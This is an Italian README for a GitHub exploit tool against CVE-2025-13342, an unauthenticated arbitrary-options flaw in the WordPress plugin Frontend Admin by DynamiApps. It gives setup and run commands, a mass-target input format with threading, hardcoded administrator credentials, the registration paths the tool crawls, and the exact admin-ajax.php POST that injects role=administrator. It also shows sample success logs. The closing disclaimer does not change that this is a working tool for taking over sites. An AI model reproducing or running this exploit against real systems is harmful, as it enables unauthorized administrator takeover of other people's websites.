
Frontend Admin di DynamiApps <= 3.28.20 - Aggiornamento Non Autenticato di Opzioni Arbitrarie
Frontend Admin di DynamiApps <= 3.28.20 - Aggiornamento Opzioni Arbitrarie Non Autenticato
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2025-13342 |
| Punteggio | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Versione interessata | Frontend Admin di DynamiApps ≤ 3.28.20 |
| Autenticazione | Nessuna — completamente non autenticato |
| Tipo | Controllo di Capacità Insufficiente + Validazione Input → Scrittura Opzioni Arbitraria |
| CWE | CWE-284 · Controllo di Accesso Improprio |
Cosa succede:
Il gestore di salvataggio ActionOptions::run() non controlla né le capacità dell'utente né valida l'input prima di scrivere su wp_options. Un modulo pubblico ACF frontend diventa un canale di scrittura aperto. L'attaccante imposta users_can_register=1 e default_role=administrator, quindi registra un nuovo account che riceve automaticamente il ruolo di Amministratore.
Questo strumento salta quell'approccio a due passaggi — invia direttamente il payload del modulo creato con role=administrator iniettato nei campi di creazione dell'utente tramite acff[user][field_*], creando un account amministratore in una singola chiamata AJAX.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
Lo strumento è interattivo. Ti verranno poste quattro domande:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Le credenziali sono fisse internamente:
| Campo | Valore |
|---|---|
| Username | Nxadmin1 |
[email protected] | |
| Password | NxAdmin_1337#KSA |
Un host per riga — schema opzionale:
https://target1.com
target2.com
http://target3.com
Lo strumento esamina 28 percorsi per target in ordine, fermandosi al primo modulo ACF valido:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| File | Contenuto |
|---|---|
acf_success.txt | Creazioni admin confermate riuscite |
Formato:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminale:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Autore | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Questo strumento è fornito solo per scopi di ricerca sulla sicurezza autorizzata e didattici.
L'autore non si assume alcuna responsabilità per qualsiasi utilizzo contro sistemi senza esplicita autorizzazione scritta del proprietario.
L'accesso non autorizzato è illegale secondo il CFAA, il CMA e leggi equivalenti in tutto il mondo.
Sei l'unico responsabile delle tue azioni.